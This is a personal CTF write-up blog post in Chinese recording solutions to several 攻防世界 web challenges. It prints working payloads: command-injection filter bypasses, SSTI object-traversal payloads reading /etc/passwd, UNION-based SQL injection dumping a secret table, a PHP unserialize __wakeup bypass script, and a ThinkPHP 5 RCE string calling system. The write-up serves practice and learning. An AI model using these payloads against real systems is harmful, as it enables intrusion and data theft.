【CTF】[攻防世界]2023.12

考完信安数学了,继续捏。

12.4(0.5)

unseping

今天来搞绕过

尝试了好久preg_match_all()绕过,没成功。看了下别人的wp,发现这里该转换思路,去看rce的绕过。RCE漏洞之绕过_rce绕过-CSDN博客

目前找到两种绕过方法:单引号和$@绕过

private $args= array("l$@s");
private $args= array("l''s");

空格也被过滤了,用${IFS}绕过。注意构造时引号的细节,单引号会把中间的内容完全视为字符串,但双引号会把内部变量进行解析。若在输入array的参数时用双引号,会对${}中的内容进行解析导致payload构造失败。

先试了cat,发现没回显,意识到是文件夹不是文件。

private $args= array('l""s${IFS}fl""ag_1s_here');

接下来要绕过/了。前面的方法不能再用

可以使用$(printf "\57")来代替/printf里面的内容是八进制。

原命令cat flag_1s_here/flag_831b69012c67b35f.php

private $args=array('ca""t${IFS}fl""ag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.ph""p');

<?php
class ease{
    private $method= 'ping';
    private $args=array('ca""t${IFS}fl""ag_1s_here$(printf${IFS}"\57")fl""ag_831b69012c67b35f.ph""p');
}

$ctf = new ease();
//echo(serialize($ctf));
$result = base64_encode(serialize($ctf));
echo($result);
?>

拿下。

12.5(5)

upload1

太简单啦,就一个前端效验,burp抓包改后缀即可。

轻松拿下。

xff_referer

拿下。

command_execution

一眼rce。开始ping

果然是没有waf的。简单的cd ../浏览了一下目录,没有发现flag文件。想了想,选择find命令

然后cat即可拿下!

web2

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);
        $__=ord($_c)+1;
        $_c=chr($__);
        $_=$_.$_c;   
    } 
    return str_rot13(strrev(base64_encode($_)));
}

highlight_file(__FILE__);
/*
   逆向加密算法,解密$miwen就是flag
*/
?>

来吧,开逆。

<?php
$miwen="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";

function encode($str){
    $_o=strrev($str);   //逆转$str
    // echo $_o;

    for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);  //截取$_0
        $__=ord($_c)+1; //转换成ascii码,并且+1
        $_c=chr($__);   //转换成字符
        $_=$_.$_c;   //拼接$_c
    } 
    return str_rot13(strrev(base64_encode($_)));    //先进行base64加密,再倒转回来,再进行rot13编码
}

?>

编写解码脚本

<?php

$flag="a1zLbgQsCESEIqRLwuQAyMwLyq2L5VwBxqGA3RQAyumZ0tmMvSGM2ZwB4tws";
//先进行rot13解码,再倒转,再进行base64解密
$str = base64_decode(strrev(str_rot13($flag)));

$_o=strrev($str);   //逆转字符串
for($_0=0;$_0<strlen($_o);$_0++){

        $_c=substr($_o,$_0,1);  //截取$_0
        $__=ord($_c)-1; //转换成ascii码,并且-1
        $_c=chr($__);   //转换成字符
        $_=$_.$_c;   //拼接$_c
}

echo $_;
?>

轻松拿下。

Web_python_template_injection

没啥好说的喵,我ssti也掌握得不太好。按套路走吧,开整。

{{''.__class__.__mro__}}

{{''.__class__.__mro__[2].__subclasses__()}}

!

贴下来,查找file类,进行文件读取。

{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}

but,不知道要读取哪个文件。所以需要找个命令执行的类。脚本跑一下发现site._Printer这个类有。

{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

读取文件:{{''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()}}

拿下。

12.6(3)

NewsCenter

随便试了试,发现有sql注入。post传参,search是注入点。

hello' //有报错
hello' --+     //无报错

判断闭合为'。但是很奇怪hello' and 1=1hello' and 1=2回显都是一样的。按道理来说,1=1应该把全部新闻都查出来(挠头)。遂直接进行下一步

hello' group by 4 --+  //报错
hello' group by 3 --+  //回显正常
hello' union select 1,2,3 --+

回显点为2,3。直接查表名。

hello' union select 1,table_name,3 from information_schema.tables where table_schema=database() --+    //感觉没显示全,groupconcat一下
hello' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+

查列名

hello' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name='secret_table'--+

hello' union select 1,group_concat(id,'~',fl4g),3 from secret_table--+

拿下。

Web_php_unserialize

一点都不想看代码呜呜。

<?php 
class Demo { 
    private $file = 'index.php';
    public function __construct($file) { 
        $this->file = $file; 
    }
    function __destruct() { 
        echo @highlight_file($this->file, true); 
    }
    function __wakeup() { 
        if ($this->file != 'index.php') { 
            //the secret is in the fl4g.php
            $this->file = 'index.php'; 
        } 
    } 
}
if (isset($_GET['var'])) { 
    $var = base64_decode($_GET['var']); 
    if (preg_match('/[oc]:\d+:/i', $var)) { 
        die('stop hacking!'); 
    } else {
        @unserialize($var); 
    } 
} else { 
    highlight_file("index.php"); 
} 
?>

这里的preg_match('/[oc]:\d+:/i', $var)过滤的是以o:c:开头,后面跟着一个或多个数字。

所以可以这样绕过:O:+4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}。+4和4是同样含义。

然后绕过wakeup,表示变量个数的值比实际值更大即可:O:+4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}

class Demo{
    private $file='fl4g.php';
}
$var = new Demo();
$var_s = serialize($var);

$var_s = str_replace('O:4','O:+4',$var_s);      //绕过正则表达式过滤
$var_s = str_replace(':1:',':2:',$var_s);       //wakeup绕过

echo($var_s);
echo(base64_encode($var_s)); 

!

拿下。

php_rce

喵喵的,这是thinkphp v5的命令执行,网上直接找poc打,但是没懂原理,标个记号之后再研究研究。

漏洞原理:程序未对控制器进行过滤,导致攻击者可以用 \(斜杠)调用任意类方法。

?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /

暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇